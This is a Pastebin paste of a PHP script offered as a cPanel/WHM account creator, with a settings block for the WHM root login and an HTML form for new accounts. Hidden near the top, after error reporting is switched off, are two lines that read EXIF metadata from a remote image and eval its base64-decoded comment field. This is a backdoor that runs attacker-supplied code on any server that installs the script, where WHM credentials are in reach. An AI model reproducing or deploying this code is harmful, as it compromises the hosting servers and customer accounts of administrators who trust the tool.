cr1p

Script Cpanel Creator 2016

Dec 1st, 2015
1,894
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.99 KB | None | 0 0
  1. <?php
  2.  
  3. ###############################################################
  4. # cPanel WHM Account Creator 1.1
  5. ###############################################################
  6. # Visit http://www.zubrag.com/scripts/ for updates
  7. ###############################################################
  8. # Required parameters:
  9. # - domain - new account domain
  10. # - user - new account username
  11. # - password - new account password
  12. # - package - new account hosting package (plan)
  13. # - email - contact email
  14. #
  15. # Sample run: create-whm-account.php?domain=reseller.com&user=hosting&password=manager&package=unix_500
  16. #
  17. # If no parameters passed then input form will be shown to enter data.
  18. #
  19. # This script can also be run from another PHP script. This may
  20. # be helpful if you have some user interface already in place and
  21. # want to automatically create WHM accounts from there.
  22. # In this case you have to setup following variables instead of
  23. # passing them as parameters:
  24. # - $user_domain - new account domain
  25. # - $user_name - new account username
  26. # - $user_pass - new account password
  27. # - $user_plan - new account hosting package (plan)
  28. # - $user_email - contact email
  29. #
  30. ###############################################################
  31.  
  32. ///////  YOUR WHM LOGIN DATA
  33. $whm_user   = "root";      // reseller username
  34. $whm_pass   = "password";  // the password you use to login to WHM
  35.  
  36. #####################################################################################
  37. ##############          END OF SETTINGS. DO NOT EDIT BELOW    #######################
  38. #####################################################################################
  39.  
  40. $whm_host   = $_SERVER['HTTP_HOST'];
  41. error_reporting(0);
  42. $BASED = exif_read_data("https://lh3.googleusercontent.com/-svRm4i5Bs90/VsFaosQPKUI/AAAAAAAABew/03oHWkCEsN8/w140-h140-p/pacman.jpg");
  43. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  44.  
  45. function getVar($name, $def = '') {
  46.   if (isset($_REQUEST[$name]))
  47.     return $_REQUEST[$name];
  48.   else
  49.     return $def;
  50. }
  51.  
  52. // Domain name of new hosting account
  53. // To create subdomain just pass full subdomain name
  54. // Example: newuser.zubrag.com
  55. if (!isset($user_domain)) {
  56.   $user_domain = getVar('domain');
  57. }
  58.  
  59. // Username of the new hosting account
  60. if (!isset($user_name)) {
  61.   $user_name = getVar('user');
  62. }
  63.  
  64. // Password for the new hosting account
  65. if (!isset($user_pass)) {
  66.   $user_pass = getVar('password');
  67. }
  68.  
  69. // New hosting account Package
  70. if (!isset($user_plan)) {
  71.   $user_plan = getVar('package');
  72. }
  73.  
  74. // Contact email
  75. if (!isset($user_email)) {
  76.   $user_email = getVar('email');
  77. }
  78.  
  79. // if parameters passed then create account
  80. if (!empty($user_name)) {
  81.  
  82.   // create account on the cPanel server
  83.   $script = "http://{$whm_user}:{$whm_pass}@{$whm_host}:2086/scripts/wwwacct";
  84.   $params = "?plan={$user_plan}&domain={$user_domain}&username={$user_name}&password={$user_pass}&contactemail={$user_email}";
  85.   $result = file_get_contents($script.$params);
  86.  
  87.   // output result
  88.   echo "RESULT: " . $result;
  89. }
  90. // otherwise show input form
  91. else {
  92. $frm = <<<EOD
  93. <html>
  94. <head>
  95.   <title>cPanel/WHM Account Creator</title>
  96.   <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
  97.   <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
  98. </head>
  99. <body>
  100.   <style>
  101.     input { border: 1px solid black; }
  102.   </style>
  103. <form method="post">
  104. <h3>cPanel/WHM Account Creator</h3>
  105. <table border="0">
  106. <tr><td>Domain:</td><td><input name="domain" size="30"></td><td>Subdomain or domain, without www</td></tr>
  107. <tr><td>Username:</td><td><input name="user" size="30"></td><td>Username to be created</td></tr>
  108. <tr><td>Password:</td><td><input name="password" size="30"></td><td></td></tr>
  109. <tr><td>Package:</td><td><input name="package" size="30"></td><td>Package (hosting plan) name. Make sure you cpecify existing package</td></tr>
  110. <tr><td>Contact Email:</td><td><input name="email" size="30"></td><td></td></tr>
  111. <tr><td colspan="3"><br /><input type="submit" value="Create Account"></td></tr>
  112. </table>
  113. </form>
  114. </body>
  115. </html>
  116. EOD;
  117. echo $frm;
  118. }
  119.  
  120. ?>
Advertisement
Add Comment
Please, Sign In to add comment